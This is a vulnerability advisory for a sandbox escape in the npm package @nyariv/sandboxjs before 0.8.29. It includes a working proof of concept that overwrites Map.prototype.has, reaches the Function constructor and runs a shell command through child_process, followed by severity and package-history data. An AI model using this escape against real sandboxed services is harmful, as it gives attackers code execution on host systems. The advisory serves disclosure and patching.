@nyariv/sandboxjs has a Sandbox Escape vulnerability
Summary
As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.
Details
This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:
let a = Map.prototype;
console.log(a) // undefinedconst a = Map.prototype;
console.log(a) // Object [Map] {}let a = 123;
console.log(a) // 123const a = 123;
console.log(a) // 123PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const m = Map.prototype;
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
sb.compile(payload)().run();Impact
Able to set Map.prototype.has -> RCE
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @nyariv/sandboxjs | < 0.8.29 | 0.8.29 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-74, CWE-94- Platform
- npm
- Package
@nyariv/sandboxjs- Disclosed
- 05.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-66h4-qj4x-38xp - CC BY 4.0
Vulnerability history: @nyariv/sandboxjs
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 14
- First → latest
- 07.2025 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 10
- High 1
- Medium 3
Disclosures per year
- 2025: 1
- 2026: 13
-
@nyariv/sandboxjs has a Sandbox Escape vulnerability this entry
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